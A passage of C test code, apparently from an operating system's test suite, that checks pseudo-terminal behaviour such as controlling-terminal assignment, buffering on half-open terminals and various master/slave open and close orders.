     * terminal.
     */
    switch (fork()) {
    case 0:
        if (close(masterfd) < 0) e(0);

        if (setsid() < 0) e(0);

        if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

        if (open("/dev/tty", O_RDWR) >= 0) e(0);
        if (errno != ENXIO) e(0);

        exit(errct);
    case -1:
        e(0);
    default:
        break;
    }

    if (waitchild() < 0) e(0);

    if (close(masterfd) < 0) e(0);

    (void)get_pty(&masterfd, pname, tname);

    /*
     * Opening the slave without O_NOCTTY should change its controlling
     * terminal, though.
     */
    switch (fork()) {
    case 0:
        if (close(masterfd) < 0) e(0);

        if (setsid() < 0) e(0);

        if ((slavefd = open(tname, O_RDWR)) < 0) e(0);

        if (open("/dev/tty", O_RDWR) < 0) e(0);

        exit(errct);
    case -1:
        e(0);
    default:
        break;
    }

    if (waitchild() < 0) e(0);

    if (close(masterfd) < 0) e(0);
}
Exemple #15
0
/*
 * Test communication on half-open pseudo terminals.
 */
static void
test77c(void)
{
    struct sigaction act, oact;
    char pname[PATH_MAX], tname[PATH_MAX];
    int oldstyle, masterfd, slavefd;
    char c;

    subtest = 3;

    /* We do not want to get SIGHUP signals in this test. */
    memset(&act, 0, sizeof(act));
    act.sa_handler = SIG_IGN;
    if (sigaction(SIGHUP, &act, &oact) < 0) e(0);

    /* Obtain a pseudo terminal. */
    oldstyle = get_pty(&masterfd, pname, tname);

    /*
     * For old-style pseudo terminals, we have just opened and closed the
     * slave end, which alters the behavior we are testing below.  Close
     * and reopen the master to start fresh.
     */
    if (oldstyle) {
        if (close(masterfd) < 0) e(0);

        if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0);
    }

    /* Writes to the master should be buffered until there is a slave. */
    c = 'E';
    if (write(masterfd, &c, sizeof(c)) != sizeof(c)) e(0);

    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    make_raw(slavefd);

    if (read(slavefd, &c, sizeof(c)) != sizeof(c)) e(0);
    if (c != 'E') e(0);

    /* Discard the echo on the master. */
    if (tcflush(slavefd, TCOFLUSH) != 0) e(0);

    test_comm(masterfd, slavefd);

    if (close(slavefd) < 0) e(0);

    /* Writes to the master after the slave has been closed should fail. */
    if (write(masterfd, &c, sizeof(c)) >= 0) e(0);
    if (errno != EIO) e(0);

    if (oldstyle)
        if (close(masterfd) < 0) e(0);

    /*
     * Writes to the slave should be buffered until there is a master.
     * This applies to old-style PTYs only.
     */
    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    if (oldstyle) {
        make_raw(slavefd);

        c = 'F';
        if (write(slavefd, &c, sizeof(c)) != sizeof(c)) e(0);

        if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0);

        if (read(masterfd, &c, sizeof(c)) != sizeof(c)) e(0);
        if (c != 'F') e(0);
    }

    test_comm(masterfd, slavefd);

    if (close(masterfd) < 0) e(0);

    if (write(slavefd, &c, sizeof(c)) >= 0) e(0);
    if (errno != EIO) e(0);

    /* Reads from the slave should return EOF if the master is gone. */
    if (read(slavefd, &c, sizeof(c)) != 0) e(0);

    if (close(slavefd) < 0) e(0);

    if (sigaction(SIGHUP, &oact, NULL) < 0) e(0);
}
Exemple #16
0
/*
 * Test various orders of opening and closing the master and slave sides of a
 * pseudo terminal, as well as opening/closing one side without ever opening
 * the other.  This test is meaningful mainly for old-style pseudoterminals.
 */
static void
test77a(void)
{
    struct sigaction act, oact;
    char pname[PATH_MAX], tname[PATH_MAX];
    int oldstyle, masterfd, slavefd;

    subtest = 1;

    /* We do not want to get SIGHUP signals in this test. */
    memset(&act, 0, sizeof(act));
    act.sa_handler = SIG_IGN;
    if (sigaction(SIGHUP, &act, &oact) < 0) e(0);

    /* Obtain a pseudo terminal. */
    oldstyle = get_pty(&masterfd, pname, tname);

    if (oldstyle) {
        /* Try closing the master. */
        if (close(masterfd) < 0) e(0);

        /* See if we can reopen the master. */
        if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0);
    }

    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    test_comm(masterfd, slavefd);

    /* In the meantime, test different closing orders. This is order A. */
    if (close(slavefd) < 0) e(0);
    if (close(masterfd) < 0) e(0);

    /* Now try opening the pair (or a new pair) again. */
    if (!oldstyle)
        oldstyle = get_pty(&masterfd, pname, tname);
    else if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0);

    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    test_comm(masterfd, slavefd);

    if (close(slavefd) < 0) e(0);

    /*
     * Try reopening the slave after closing it.  It is not very important
     * that this works, but the TTY driver should currently support it.
     */
    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    test_comm(masterfd, slavefd);

    /* This is closing order B. This may or may not cause a SIGHUP. */
    if (close(masterfd) < 0) e(0);
    if (close(slavefd) < 0) e(0);

    /* Try the normal open procedure. */
    if (!oldstyle)
        oldstyle = get_pty(&masterfd, pname, tname);
    else if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0);

    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    test_comm(masterfd, slavefd);

    if (close(slavefd) < 0) e(0);
    if (close(masterfd) < 0) e(0);

    /*
     * Try reopening and closing the slave, without opening the master.
     * This should work on old-style PTYS, but not on Unix98 PTYs.
     */
    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) >= 0) {
        if (!oldstyle) e(0);

        if (close(slavefd) < 0) e(0);
    } else if (oldstyle) e(0);

    /* Again, try the normal open procedure. */
    if (!oldstyle)
        oldstyle = get_pty(&masterfd, pname, tname);
    else if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0);

    if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);

    test_comm(masterfd, slavefd);

    if (close(slavefd) < 0) e(0);
    if (close(masterfd) < 0) e(0);

    /*
     * Finally, try opening the slave first.  This does not work with
     * Unix98 PTYs.
     */
    if (oldstyle) {
        if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0);
        if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0);

        test_comm(masterfd, slavefd);

        if (close(slavefd) < 0) e(0);
        if (close(masterfd) < 0) e(0);
    }

    if (sigaction(SIGHUP, &oact, NULL) < 0) e(0);
}